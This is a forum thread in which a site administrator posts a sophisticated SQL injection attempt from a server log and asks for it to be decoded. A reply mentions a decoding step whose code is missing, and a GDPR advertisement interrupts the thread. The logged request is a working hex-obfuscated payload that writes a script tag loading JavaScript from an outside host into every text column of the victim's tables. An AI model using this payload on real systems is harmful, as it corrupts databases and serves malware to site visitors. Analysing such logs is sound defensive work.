SQL Injection (new?)

Recently we have seen a sharpincrease in the amount of attempted SQL injection hacks on our web servers.  I found the below in the server log last night.  this looks a lot more sophisticated than the sql injection hacks I have seen in the past. Can anyone translate this for me?

page_name.asp?zone=8&Refresh=0&HT=http;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E6368696E61626E722E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--

p.s. HT=http is the last actual URL parameter. After that the malformed URL begins.

just run this sql code (in query analyser...) to print out the sql that the exec(@s) would do:

Will You Be GDPR Compliant by 5/28/2018?

GDPR? That's a regulation for the European Union. But, if you collect data from customers or employees within the EU, then you need to know about GDPR and make sure your organization is compliant by May 2018. Check out our preparation checklist to make sure you're on track today!

Thanks!  I should have tried that first, but I have not run into sql queries in binary before.
